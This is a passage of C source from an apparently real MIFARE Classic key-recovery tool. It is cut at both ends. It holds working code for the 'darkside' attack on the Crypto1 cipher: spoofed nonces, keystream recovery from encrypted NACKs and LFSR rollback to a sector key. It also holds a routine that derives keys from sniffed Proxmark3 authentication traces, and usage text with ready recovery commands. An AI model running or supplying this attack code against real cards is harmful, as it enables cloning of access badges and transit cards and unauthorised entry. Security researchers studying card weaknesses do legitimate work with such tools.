  499. ptrFoundTagNonceEntry->spoofNrPfx = ptrFoundTagNonceEntry->spoofNrEnc & 0xFFFFFF1F;
  500. // Initialize the {Nr} with proper 29 bits prefix and {Par} with proper 3 bits prefix
  501. for (pos = 0; pos < 8; pos++) {
  502. ptrFoundTagNonceEntry->nrEnc[pos] = ptrFoundTagNonceEntry->spoofNrPfx | pos << 5;
  503. ptrFoundTagNonceEntry->arEnc[pos] = ptrFoundTagNonceEntry->spoofArEnc;
  504. ptrFoundTagNonceEntry->parBits[pos] = ptrFoundTagNonceEntry->spoofParBitsEnc & 0xE0;
  505. ptrFoundTagNonceEntry->parBitsCrntCombination[pos] = 0;
  506. }
  507. // Mark the begining of collecting STAGE2 probes
  508. ptrFoundTagNonceEntry->current_out_of_8 = 0;
  509. } else {
  510. ptrFoundTagNonceEntry->nackEnc[ptrFoundTagNonceEntry->current_out_of_8] = abtRx[0] & 0xf;
  511. ptrFoundTagNonceEntry->ks[ptrFoundTagNonceEntry->current_out_of_8] = ptrFoundTagNonceEntry->nackEnc[ptrFoundTagNonceEntry->current_out_of_8] ^ 0x5;
  512. ptrFoundTagNonceEntry->current_out_of_8++;
  513. if (ptrFoundTagNonceEntry->current_out_of_8 == 8) {
  514. for (pos = 0; pos < 8; pos++) {
  515. for (pos2 = 0; pos2 < 8; pos2++) {
  516. ptrFoundTagNonceEntry->parBitsArr[pos][pos2] = ((ptrFoundTagNonceEntry->parBits[pos] + ptrFoundTagNonceEntry->parBitsCrntCombination[pos] - 1) >> (7 - pos2)) & 0x01;
  517. }
  518. }
  519. states_list = lfsr_common_prefix(ptrFoundTagNonceEntry->spoofNrPfx, ptrFoundTagNonceEntry->spoofArEnc, ptrFoundTagNonceEntry->ks, ptrFoundTagNonceEntry->parBitsArr);
  520. for (i = 0; (states_list) && ((states_list + i)->odd != 0 || (states_list + i)->even != 0) && (i < MAX_COMMON_PREFIX_STATES); i++) {
  521. current_state = states_list + i;
  522. lfsr_rollback_word(current_state, uiUID ^ ptrFoundTagNonceEntry->tagNonce, 0);
  523. crypto1_get_lfsr(current_state, &key_recovered);
  524. if (bfOpts['v'] && (verboseLevel > 1)) {
  525. log_key(uiBlock, key_recovered);
  526. printf("\nINFO: block %d recovered KEY: %012"PRIx64"\n", uiBlock, key_recovered);
  527. }
  528. flag_key_recovered = 1;
  529. *ui64KeyRecovered = key_recovered;
  530. }
  531. crypto1_destroy(states_list);
  532. if (!flag_key_recovered) {
  533. //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n");
  534. ptrFoundTagNonceEntry->spoofNrEnc++;
  535. ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR;
  536. ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0;
  537. // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same
  538. ptrFoundTagNonceEntry->current_out_of_8 = -1;
  539. return MFCUK_FAIL_CRAPTO;
  540. }
  541. }
  542. }
  543. } else if (res == 32) {
  544. // Are we so MFCUKing lucky (?!), since ui64Key is a "dummy" key
  545. flag_key_recovered = true;
  546. *ui64KeyRecovered = ui64Key;
  547. }
  548. //printf(" At: ");
  549. //print_hex_par(abtRx,szRx,abtRxPar);
  550. crypto1_destroy(pcs);
  551. if (flag_key_recovered) {
  552. return MFCUK_OK_KEY_RECOVERED;
  553. } else {
  554. return MFCUK_SUCCESS;
  555. }
  556. }
  557. /*
  558. TODO:
  559. - have an option with frequency of the display information, and with portable way of getting elapsed time
  560. -m max_iterations - stop everything after so many iterations, default is infinite until all keys found
  561. -T max_elapsed_time - stop after time elapsed
  562. */
  563. static void print_usage(FILE *fp, const char *prog_name)
  564. {
  565. fprintf(fp, "Usage:\n");
  566. fprintf(fp, "-C - require explicit connection to the reader. Without this option, the connection is not made and recovery will not occur\n");
  567. fprintf(fp, "-i mifare.dmp - load input mifare_classic_tag type dump\n");
  568. fprintf(fp, "-I mifare_ext.dmp - load input extended dump specific to this tool, has several more fields on top of mifare_classic_tag type dump\n");
  569. fprintf(fp, "-o mifare.dmp - output the resulting mifare_classic_tag dump to a given file\n");
  570. fprintf(fp, "-O mifare_ext.dmp - output the resulting extended dump to a given file\n");
  571. fprintf(fp, "-V sector[:A/B/any_other_alphanum[:fullkey]] - verify key for specified sector, -1 means all sectors\n");
  572. fprintf(fp, "\tAfter first semicolon key-type can specified: A verifies only keyA, B verifies only keyB, anything else verifies both keys\n");
  573. fprintf(fp, "\tAfter second semicolon full 12 hex-digits key can specified - this key will override any loaded dump key for the given sector(s) and key-type(s)\n");
  574. fprintf(fp, "-R sector[:A/B/any_other_alphanum] - recover key for sector, -1 means all sectors.\n");
  575. fprintf(fp, "\tAfter first semicolon key-type can specified: A recovers only keyA, B recovers only keyB, anything else recovers both keys\n");
  576. fprintf(fp, "-U UID - force specific UID. If a dump was loaded with -i, -U will overwrite the in the memory where dump was loaded\n");
  577. fprintf(fp, "-M tagtype - force specific tagtype. 8 is 1K, 24 is 4K, 32 is DESFire\n");
  578. fprintf(fp, "-D - for sectors and key-types marked for verification, in first place use default keys to verify (maybe you are lucky)\n");
  579. fprintf(fp, "-d key - specifies additional full 12 hex-digits default key to be checked. Multiple -d options can be used for more additional keys\n");
  580. fprintf(fp, "-s - milliseconds to sleep for SLEEP_AT_FIELD_OFF (Default: %d ms)\n", SLEEP_AT_FIELD_OFF);
  581. fprintf(fp, "-S - milliseconds to sleep for SLEEP_AFTER_FIELD_ON (Default: %d ms)\n", SLEEP_AFTER_FIELD_ON);
  582. fprintf(fp, "-P hex_literals_separated - try to recover the key from a conversation sniffed with Proxmark3 (mifarecrack.c based). Accepts several options:\n");
  583. fprintf(fp, "\tConcatenated string in hex literal format of form uid:tag_chal:nr_enc:reader_resp:tag_resp\n");
  584. fprintf(fp, "\tExample -P 0x5c72325e:0x50829cd6:0xb8671f76:0xe00eefc9:0x4888964f would find key FFFFFFFFFFFF\n");
  585. fprintf(fp, "-p proxmark3_full.log - tries to parse the log file on it's own (mifarecrack.py based), get the values for option -P and invoke it\n");
  586. fprintf(fp, "-F - tries to fingerprint the input dump (-i) against known cards' data format\n");
  587. fprintf(fp, "-v verbose_level - verbose level (default is O)\n");
  588. fprintf(fp, "\n");
  589. fprintf(fp, "Usage examples:\n");
  590. fprintf(fp, " Recove all keys from all sectors:\n");
  591. fprintf(fp, " %s -C -R -1\n", prog_name);
  592. fprintf(fp, " Recove the sector #0 key with 250 ms for all delays (delays could give more results): \n");
  593. fprintf(fp, " %s -C -R 0 -s 250 -S 250\n", prog_name);
  594. return;
  595. }
  596. static void print_identification(void)
  597. {
  598. fprintf(stdout, "%s - %s\n", PACKAGE_NAME, PACKAGE_VERSION);
  599. fprintf(stdout, "%s - %s\n", BUILD_NAME, BUILD_VERSION);
  600. fprintf(stdout, "by %s\n", BUILD_AUTHOR);
  601. fprintf(stdout, "\n");
  602. }
  603. static void print_mifare_classic_tag_actions(const char *title, mifare_classic_tag *tag)
  604. {
  605. uint32_t i, max_blocks, trailer_block;
  606. uint8_t bTagType;
  607. mifare_classic_block_trailer *ptr_trailer = NULL;
  608. if (!tag) {
  609. return;
  610. }
  611. bTagType = tag->amb->mbm.btUnknown;
  612. if (!IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType)) {
  613. return;
  614. }
  615. printf("%s - UID %02x %02x %02x %02x - TYPE 0x%02x (%s)\n",
  616. title, tag->amb->mbm.abtUID[0], tag->amb->mbm.abtUID[1], tag->amb->mbm.abtUID[2], tag->amb->mbm.abtUID[3], bTagType,
  617. (IS_MIFARE_CLASSIC_1K(bTagType) ? (MIFARE_CLASSIC_1K_NAME) : (IS_MIFARE_CLASSIC_4K(bTagType) ? (MIFARE_CLASSIC_4K_NAME) : (MIFARE_CLASSIC_UNKN_NAME)))
  618. );
  619. printf("---------------------------------------------------------------------\n");
  620. printf("Sector\t| Key A\t|ACTS | RESL\t| Key B\t|ACTS | RESL\n");
  621. printf("---------------------------------------------------------------------\n");
  622. if (IS_MIFARE_CLASSIC_1K(tag->amb->mbm.btUnknown)) {
  623. max_blocks = MIFARE_CLASSIC_1K_MAX_BLOCKS;
  624. } else {
  625. max_blocks = MIFARE_CLASSIC_4K_MAX_BLOCKS;
  626. }
  627. for (i = 0; i < max_blocks; i++) {
  628. trailer_block = get_trailer_block(bTagType, i);
  629. if (!is_valid_block(bTagType, trailer_block)) {
  630. break;
  631. }
  632. ptr_trailer = (mifare_classic_block_trailer *)((char *)tag + (trailer_block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  633. printf("%d\t| %02x%02x%02x%02x%02x%02x\t| %c %c | %c %c\t| %02x%02x%02x%02x%02x%02x\t| %c %c | %c %c\n",
  634. get_sector_for_block(bTagType, trailer_block),
  635. ptr_trailer->abtKeyA[0], ptr_trailer->abtKeyA[1], ptr_trailer->abtKeyA[2],
  636. ptr_trailer->abtKeyA[3], ptr_trailer->abtKeyA[4], ptr_trailer->abtKeyA[5],
  637. (ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_VERIFY) ? 'V' : '.',
  638. (ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_RECOVER) ? 'R' : '.',
  639. (ptr_trailer->abtAccessBits[RESULTS_KEY_A] & ACTIONS_VERIFY) ? 'V' : '.',
  640. (ptr_trailer->abtAccessBits[RESULTS_KEY_A] & ACTIONS_RECOVER) ? 'R' : '.',
  641. ptr_trailer->abtKeyB[0], ptr_trailer->abtKeyB[1], ptr_trailer->abtKeyB[2],
  642. ptr_trailer->abtKeyB[3], ptr_trailer->abtKeyB[4], ptr_trailer->abtKeyB[5],
  643. (ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_VERIFY) ? 'V' : '.',
  644. (ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_RECOVER) ? 'R' : '.',
  645. (ptr_trailer->abtAccessBits[RESULTS_KEY_B] & ACTIONS_VERIFY) ? 'V' : '.',
  646. (ptr_trailer->abtAccessBits[RESULTS_KEY_B] & ACTIONS_RECOVER) ? 'R' : '.'
  647. );
  648. // Go beyond current trailer block, i.e. go to next sector
  649. i = trailer_block;
  650. }
  651. printf("\n");
  652. return;
  653. }
  654. static bool mfcuk_darkside_reset_advanced(nfc_device *pnd)
  655. {
  656. if (0 > nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, true)) {
  657. //ERR("configuring NP_HANDLE_CRC");
  658. //return false;
  659. }
  660. if (0 > nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, true)) {
  661. //ERR("configuring NP_HANDLE_PARITY");
  662. //return false;
  663. }
  664. return true;
  665. }
  666. static bool mfcuk_darkside_select_tag(nfc_device *pnd, int iSleepAtFieldOFF, int iSleepAfterFieldON, nfc_target_info *ti)
  667. {
  668. nfc_target ti_tmp;
  669. if (!pnd || !ti) {
  670. ERR("some parameter are NULL");
  671. return false;
  672. }
  673. // Drop the field for a while, so the card can reset
  674. if (0 > nfc_device_set_property_bool(pnd, NP_ACTIVATE_FIELD, false)) {
  675. ERR("configuring NP_ACTIVATE_FIELD");
  676. return false;
  677. }
  678. // {WPMCC09} 2.4. Tag nonces: "drop the field (for approximately 30us) to discharge all capacitors"
  679. sleep(iSleepAtFieldOFF);
  680. // Let the reader only try once to find a tag
  681. if (0 > nfc_device_set_property_bool(pnd, NP_INFINITE_SELECT, false)) {
  682. ERR("configuring NP_INFINITE_SELECT");
  683. return false;
  684. }
  685. // Configure the CRC and Parity settings
  686. if (0 > nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, true)) {
  687. ERR("configuring NP_HANDLE_CRC");
  688. return false;
  689. }
  690. if (0 > nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, true)) {
  691. ERR("configuring NP_HANDLE_PARITY");
  692. return false;
  693. }
  694. // Enable field so more power consuming cards can power themselves up
  695. if (0 > nfc_device_set_property_bool(pnd, NP_ACTIVATE_FIELD, true)) {
  696. ERR("configuring NP_ACTIVATE_FIELD");
  697. return false;
  698. }
  699. // Switch the field back on, and wait for a constant amount of time before authenticating
  700. sleep(iSleepAfterFieldON);
  701. // Poll for a ISO14443A (MIFARE) tag
  702. if (0 >= nfc_initiator_select_passive_target(pnd, nmMifare, NULL, 0, &ti_tmp)) {
  703. ERR("connecting to MIFARE Classic tag");
  704. return false;
  705. }
  706. memcpy(ti, &ti_tmp, sizeof(ti_tmp));
  707. return true;
  708. }
  709. int main(int argc, char *argv[])
  710. {
  711. // getopt related
  712. int ch = 0;
  713. char strOutputFilename[256] = {0}; // Initialize with '\0' character
  714. //char extendedDescription[MFCUK_EXTENDED_DESCRIPTION_LENGTH] = {0}; // Initialize with '\0' character
  715. uint8_t keyOpt[MIFARE_CLASSIC_KEY_BYTELENGTH] = {0};
  716. uint8_t uidOpt[MIFARE_CLASSIC_UID_BYTELENGTH] = {0};
  717. mifare_classic_block_trailer *ptr_trailer = NULL;
  718. mifare_classic_block_trailer *ptr_trailer_dump = NULL;
  719. int sector = 0;
  720. uint32_t block = 0;
  721. uint8_t action = 0;
  722. uint8_t specific_key_type = 0;
  723. uint8_t max_sectors = MIFARE_CLASSIC_4K_MAX_SECTORS;
  724. // Defaults, can be overriden by -S and -s command line arguments
  725. int iSleepAtFieldOFF = SLEEP_AT_FIELD_OFF; // modified with argument -S
  726. int iSleepAfterFieldON = SLEEP_AFTER_FIELD_ON; // modified with argument -s
  727. char *token = NULL;
  728. const char *sep = ":";
  729. char *str = NULL;
  730. int iter = 0;
  731. // libnfc related
  732. nfc_context *context;
  733. nfc_device *pnd;
  734. nfc_target ti;
  735. // mifare and crapto related
  736. uint32_t uiErrCode = MFCUK_SUCCESS;
  737. uint64_t ui64KeyRecovered;
  738. mifare_classic_tag_ext dump_loaded_tag;
  739. mifare_classic_tag_ext tag_on_reader;
  740. mifare_classic_tag_ext tag_recover_verify;
  741. // fingerprint options related
  742. mifare_classic_tag finger_tag;
  743. float finger_score;
  744. float finger_score_highest;
  745. int finger_index_highest;
  746. // proxmark3 log related
  747. #define PM3_UID 0
  748. #define PM3_TAG_CHAL 1
  749. #define PM3_NR_ENC 2
  750. #define PM3_READER_RESP 3
  751. #define PM3_TAG_RESP 4
  752. #define PM3_MULTISECT_AUTH 5
  753. uint32_t pm3_full_set_log[5]; // order is: uid, tag_challenge, nr_enc, reader_response, tag_response
  754. uint32_t pm3_log_multisect_auth;
  755. uint32_t pm3_ks2;
  756. uint32_t pm3_ks3;
  757. struct Crypto1State *pm3_revstate = NULL;
  758. struct Crypto1State *pm3_revstate_multisect_auth = NULL;
  759. uint64_t pm3_lfsr;
  760. unsigned char *pm3_plfsr = (unsigned char *)&pm3_lfsr;
  761. uint8_t pm3_log_multisect_decrypted[4];
  762. uint8_t pm3_log_multisect_verified[4];
  763. // various related
  764. int i, j, k;
  765. size_t st;
  766. int numDefKeys = mfcuk_default_keys_num;
  767. uint8_t (*current_default_keys)[MIFARE_CLASSIC_KEY_BYTELENGTH];
  768. // At runtime, duplicate the mfcuk_default_keys[], and then add at it's bottom the default keys specified via -d command line options
  769. if (!(current_default_keys = malloc(numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH))) {
  770. ERR("failed to allocate memory for current_default_keys");
  771. return EXIT_FAILURE;
  772. }
  773. // Init the structs
  774. memcpy(current_default_keys, mfcuk_default_keys, numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH);
  775. memset(&dump_loaded_tag, 0, sizeof(dump_loaded_tag));
  776. memset(&tag_on_reader, 0, sizeof(tag_on_reader));
  777. memset(&tag_recover_verify, 0, sizeof(tag_recover_verify));
  778. tag_recover_verify.type = MIFARE_CLASSIC_4K;
  779. tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = MIFARE_CLASSIC_4K;
  780. // "Sort-of" initializing the entries
  781. memset((void *)arrSpoofEntries, 0, sizeof(arrSpoofEntries));
  782. // MAIN ( broken-brain (: ) logic of the tool
  783. // ---------------------------------------
  784. clear_screen();
  785. print_identification();
  786. if (argc < 2) {
  787. print_usage(stdout, argv[0]);
  788. return EXIT_FAILURE;
  789. }
  790. // Load fingerprinting "database"
  791. mfcuk_finger_load();
  792. /*
  793. if (mfcuk_finger_load() == 0)
  794. {
  795. ERR ("Unable to load any fingerprinting database.");
  796. exit (EXIT_FAILURE);
  797. }
  798. */
  799. // OPTION PROCESSING BLOCK
  800. // TODO: for WIN32 figure out how to use unistd/posix-compatible Gnu.Getopt.dll (http://getopt.codeplex.com)
  801. // For WIN32 using VERY limited (modified) Xgetopt (http://www.codeproject.com/KB/cpp/xgetopt.aspx)
  802. while ((ch = getopt(argc, argv, "htTDCi:I:o:O:V:R:S:s:v:M:U:d:n:P:p:F:")) != -1) { // -1 or EOF
  803. switch (ch) {
  804. // Name for the extended dump
  805. case 'n':
  806. strncpy(tag_recover_verify.description, optarg, sizeof(tag_recover_verify.description));
  807. break;
  808. case 'C':
  809. bfOpts[ch] = true;
  810. break;
  811. // Additional default key option
  812. case 'd':
  813. memset(&keyOpt, 0, MIFARE_CLASSIC_KEY_BYTELENGTH);
  814. if (strlen(optarg) != (MIFARE_CLASSIC_KEY_BYTELENGTH * 2)) {
  815. // accept only 12 hex digits (fully qualified) Mifare Classic keys
  816. WARN("invalid length key argument (%s)", optarg);
  817. break;
  818. }
  819. for (st = 0; st < MIFARE_CLASSIC_KEY_BYTELENGTH; st++) {
  820. if (!is_hex(optarg[2 * st]) || !is_hex(optarg[2 * st + 1])) {
  821. // bad input hex string
  822. WARN("invalid hex chars in key argument (%s)", optarg);
  823. break;
  824. }
  825. keyOpt[st] = hex2bin(optarg[2 * st], optarg[2 * st + 1]);
  826. }
  827. // Increase number of keys
  828. numDefKeys++;
  829. // Also increase the memory to hold one more key. Hope not many keys will be specified,
  830. // so realloc() will not impact performance and will not fragment memory
  831. if (!(current_default_keys = realloc(current_default_keys, numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH))) {
  832. ERR("failed to reallocate memory for current_default_keys");
  833. return EXIT_FAILURE;
  834. }
  835. memcpy(&(current_default_keys[numDefKeys - 1]), &keyOpt, MIFARE_CLASSIC_KEY_BYTELENGTH);
  836. // Mark current option as specified (though not used in any checks)
  837. bfOpts[ch] = true;
  838. // Force the use of default keys
  839. bfOpts['D'] = true;
  840. break;
  841. // Verbose option and level
  842. case 'v':
  843. if (!(i = atoi(optarg)) || (i < 1)) {
  844. WARN("non-supported verbose-level value (%s)", optarg);
  845. } else {
  846. verboseLevel = i;
  847. bfOpts[ch] = true;
  848. }
  849. break;
  850. case 'M':
  851. // Mifare Classic type option
  852. if (!(i = atoi(optarg)) || (!IS_MIFARE_CLASSIC_1K(i) && !IS_MIFARE_CLASSIC_4K(i))) {
  853. WARN("non-supported tag type value (%s)", optarg);
  854. } else {
  855. tag_recover_verify.type = i;
  856. tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = i;
  857. bfOpts[ch] = true;
  858. }
  859. break;
  860. case 'U':
  861. // UID option
  862. if (strlen(optarg) != (MIFARE_CLASSIC_UID_BYTELENGTH * 2)) {
  863. // accept only 8 hex digits (fully qualified) Mifare Classic keys
  864. WARN("invalid length UID argument (%s)", optarg);
  865. break;
  866. }
  867. for (st = 0; st < MIFARE_CLASSIC_UID_BYTELENGTH; st++) {
  868. if (!is_hex(optarg[2 * st]) || !is_hex(optarg[2 * st + 1])) {
  869. // bad input hex string
  870. WARN("invalid hex chars in key argument (%s)", optarg);
  871. break;
  872. }
  873. uidOpt[st] = hex2bin(optarg[2 * st], optarg[2 * st + 1]);
  874. }
  875. if (st >= MIFARE_CLASSIC_UID_BYTELENGTH) {
  876. tag_recover_verify.uid = bswap_32_pu8(uidOpt);
  877. memcpy(tag_recover_verify.tag_basic.amb[0].mbm.abtUID, uidOpt, MIFARE_CLASSIC_UID_BYTELENGTH);
  878. bfOpts[ch] = true;
  879. }
  880. break;
  881. case 'S':
  882. // Sleep for "AT FIELD OFF"
  883. if (!(i = atoi(optarg)) || (i < 1) || (i > 10000)) {
  884. WARN("non-supported sleep-AT-field OFF value (%s)", optarg);
  885. } else {
  886. iSleepAtFieldOFF = i;
  887. bfOpts[ch] = true;
  888. }
  889. break;
  890. case 's':
  891. // Sleep for "AFTER FIELD ON"
  892. if (!(i = atoi(optarg)) || (i < 1) || (i > 10000)) {
  893. WARN("non-supported sleep-AFTER-field ON value (%s)", optarg);
  894. } else {
  895. iSleepAfterFieldON = i;
  896. bfOpts[ch] = true;
  897. }
  898. break;
  899. case 'D':
  900. // Use DEFAULT KEYS for verification of sectors and key-types marked as ACTIONS_VERIFY
  901. bfOpts[ch] = true;
  902. break;
  903. case 'R':
  904. case 'V':
  905. // Recover or Verify
  906. action = (ch == 'R') ? ACTIONS_RECOVER : ACTIONS_VERIFY;
  907. token = NULL;
  908. str = optarg;
  909. iter = 0;
  910. while ((token = strtok(str, sep)) && (iter < 3)) {
  911. switch (iter) {
  912. // Here is the sector argument
  913. case 0:
  914. // BUG: if sector is 0, atoi() returns 0 (ok); if sector is non-numeric, atoi() returns also 0 (not-ok) - cannot differentiate
  915. if (!(sector = atoi(token)) && (token[0] != '0')) {
  916. WARN("non-numeric sector argument (%s)", token);
  917. return EXIT_FAILURE;
  918. }
  919. // We don't know apriori whether loaded dump or the card on the reader is 1K or 4K, so assume validity for 4K
  920. if ((sector != -1) && !is_valid_sector(MIFARE_CLASSIC_4K, sector)) {
  921. WARN("invalid sector argument (%d)", sector);
  922. return EXIT_FAILURE;
  923. } else {
  924. for (i = ((sector == -1) ? (0) : (sector)); i < ((sector == -1) ? (MIFARE_CLASSIC_4K_MAX_SECTORS) : (sector + 1)); i++) {
  925. // TODO: proper error handling for block and ptr_trailer
  926. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  927. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  928. ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= action;
  929. ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= action;
  930. }
  931. }
  932. break;
  933. // Here is the key-type argument
  934. // after case 0, we can assume sector is a safe and valid sector
  935. case 1:
  936. switch (token[0]) {
  937. case 'A':
  938. case 'B':
  939. specific_key_type = keyA + (token[0] - 'A');
  940. // Invalidate all the opposite keys
  941. for (i = ((sector == -1) ? (0) : (sector)); i < ((sector == -1) ? (MIFARE_CLASSIC_4K_MAX_SECTORS) : (sector + 1)); i++) {
  942. // TODO: proper error handling for block and ptr_trailer
  943. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  944. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  945. ptr_trailer->abtAccessBits[ACTIONS_KEY_B * (1 - (token[0] - 'A'))] &= (~action);
  946. }
  947. break;
  948. default:
  949. specific_key_type = 0;
  950. // Validate all the key-types
  951. for (i = ((sector == -1) ? (0) : (sector)); i < ((sector == -1) ? (MIFARE_CLASSIC_4K_MAX_SECTORS) : (sector + 1)); i++) {
  952. // TODO: proper error handling for block and ptr_trailer
  953. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  954. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  955. ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= action;
  956. ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= action;
  957. }
  958. break;
  959. }
  960. break;
  961. // Here is the key argument
  962. // after case 0, we can assume sector is a safe and valid sector
  963. case 2:
  964. // Recovery does not need a key
  965. if (ch == 'R') {
  966. break;
  967. }
  968. memset(&keyOpt, 0, MIFARE_CLASSIC_KEY_BYTELENGTH);
  969. if (strlen(token) != (MIFARE_CLASSIC_KEY_BYTELENGTH * 2)) {
  970. // accept only 12 hex digits (fully qualified) Mifare Classic keys
  971. WARN("invalid length key argument (%s)", token);
  972. break;
  973. }
  974. for (st = 0; st < MIFARE_CLASSIC_KEY_BYTELENGTH; st++) {
  975. if (!is_hex(token[2 * st]) || !is_hex(token[2 * st + 1])) {
  976. // bad input hex string
  977. WARN("invalid hex chars in key argument (%s)", token);
  978. break;
  979. }
  980. keyOpt[st] = hex2bin(token[2 * st], token[2 * st + 1]);
  981. }
  982. for (i = ((sector == -1) ? (0) : (sector)); i < ((sector == -1) ? (MIFARE_CLASSIC_4K_MAX_SECTORS) : (sector + 1)); i++) {
  983. // TODO: proper error handling for block and ptr_trailer
  984. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  985. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  986. if (!specific_key_type || specific_key_type == keyA) {
  987. memcpy(&(ptr_trailer->abtKeyA[0]), keyOpt, sizeof(keyOpt));
  988. ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= ACTIONS_KEYSET;
  989. }
  990. if (!specific_key_type || specific_key_type == keyB) {
  991. memcpy(&(ptr_trailer->abtKeyB[0]), keyOpt, sizeof(keyOpt));
  992. ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= ACTIONS_KEYSET;
  993. }
  994. }
  995. break;
  996. // We do not support any other arguments for now for -R/-V option
  997. default:
  998. break;
  999. }
  1000. str = NULL;
  1001. iter++;
  1002. }
  1003. break;
  1004. case 'i':
  1005. // Input simple dump file of type mifare_classic_tag, Options i and I are autoexclusive
  1006. if (!bfOpts['i'] && !bfOpts['I']) {
  1007. if (!mfcuk_load_tag_dump(optarg, &(dump_loaded_tag.tag_basic))) {
  1008. WARN("Unable to load tag dump from '%s'", optarg);
  1009. } else {
  1010. bfOpts[ch] = true;
  1011. }
  1012. }
  1013. break;
  1014. case 'I':
  1015. // Input extended dump file of type mifare_classic_tag_ext, Options i and I are autoexclusive
  1016. if (!bfOpts['i'] && !bfOpts['I']) {
  1017. if (!mfcuk_load_tag_dump_ext(optarg, &(dump_loaded_tag))) {
  1018. WARN("Unable to load tag dump from '%s'", optarg);
  1019. } else {
  1020. bfOpts[ch] = true;
  1021. }
  1022. }
  1023. break;
  1024. case 'o':
  1025. case 'O':
  1026. // Output simple/extended dump file, Options o and O are autoexclusive
  1027. if (!bfOpts['o'] && !bfOpts['O']) {
  1028. strncpy(strOutputFilename, optarg, sizeof(strOutputFilename));
  1029. bfOpts[ch] = true;
  1030. }
  1031. break;
  1032. // Run just test-cases for verifying the correctnes of is_ and get_ block/sector functions
  1033. case 't':
  1034. // Requested test of Mifare Classic 1K Blocks and Sectors functionality
  1035. test_mifare_classic_blocks_sectors_functions(MIFARE_CLASSIC_1K);
  1036. bfOpts[ch] = true;
  1037. break;
  1038. case 'T':
  1039. // Requested test of Mifare Classic 4K Blocks and Sectors functionality
  1040. test_mifare_classic_blocks_sectors_functions(MIFARE_CLASSIC_4K);
  1041. bfOpts[ch] = true;
  1042. break;
  1043. case 'P':
  1044. token = NULL;
  1045. str = optarg;
  1046. iter = 0;
  1047. // parse the arguments of the option. ugly, ugly... i know :-S
  1048. while ((token = strtok(str, sep)) && (iter < (int)(sizeof(pm3_full_set_log) / sizeof(pm3_full_set_log[0])))) {
  1049. str = NULL;
  1050. errno = 0;
  1051. pm3_full_set_log[iter] = strtoul(token, NULL, 16);
  1052. // strtoul failed somewhere. WTF?! strtoul() is not properly setting errno... errrrrggh!
  1053. if (errno != 0) {
  1054. WARN("Invalid hex literal %s for option -P at position %d", optarg, iter);
  1055. }
  1056. iter++;
  1057. }
  1058. // if not all arguments were fine, fire warning
  1059. if (iter != sizeof(pm3_full_set_log) / sizeof(pm3_full_set_log[0])) {
  1060. WARN("Invalid number of hex literal for option -P");
  1061. }
  1062. // otherwise try to recover
  1063. else {
  1064. /*
  1065. // TODO: implement better this function
  1066. mfcuk_get_key_from_full_state(pm3_full_set, &ui64_lsfr);
  1067. */
  1068. pm3_ks2 = pm3_full_set_log[PM3_READER_RESP] ^ prng_successor(pm3_full_set_log[PM3_TAG_CHAL], 64);
  1069. pm3_ks3 = pm3_full_set_log[PM3_TAG_RESP] ^ prng_successor(pm3_full_set_log[PM3_TAG_CHAL], 96);
  1070. pm3_revstate = lfsr_recovery64(pm3_ks2, pm3_ks3);
  1071. lfsr_rollback_word(pm3_revstate, 0, 0);
  1072. lfsr_rollback_word(pm3_revstate, 0, 0);
  1073. lfsr_rollback_word(pm3_revstate, pm3_full_set_log[PM3_NR_ENC], 1);
  1074. lfsr_rollback_word(pm3_revstate, pm3_full_set_log[PM3_UID] ^ pm3_full_set_log[PM3_TAG_CHAL], 0);
  1075. crypto1_get_lfsr(pm3_revstate, &pm3_lfsr);
  1076. printf("proxmark3 log key: %02x%02x%02x%02x%02x%02x\n", pm3_plfsr[5], pm3_plfsr[4], pm3_plfsr[3], pm3_plfsr[2], pm3_plfsr[1], pm3_plfsr[0]);
  1077. crypto1_destroy(pm3_revstate);
  1078. // If all minimum required details from the log were parsed and still there are some more hex tokens, it might be a multi-sector authentication test request
  1079. if (token) {
  1080. errno = 0;
  1081. pm3_log_multisect_auth = strtoul(token, NULL, 16);
  1082. // strtoul failed somewhere. WTF?! strtoul() is not properly setting errno... errrrrggh!
  1083. if (errno != 0) {
  1084. WARN("Invalid hex literal %s for option -P at position %d", optarg, iter);
  1085. } else {
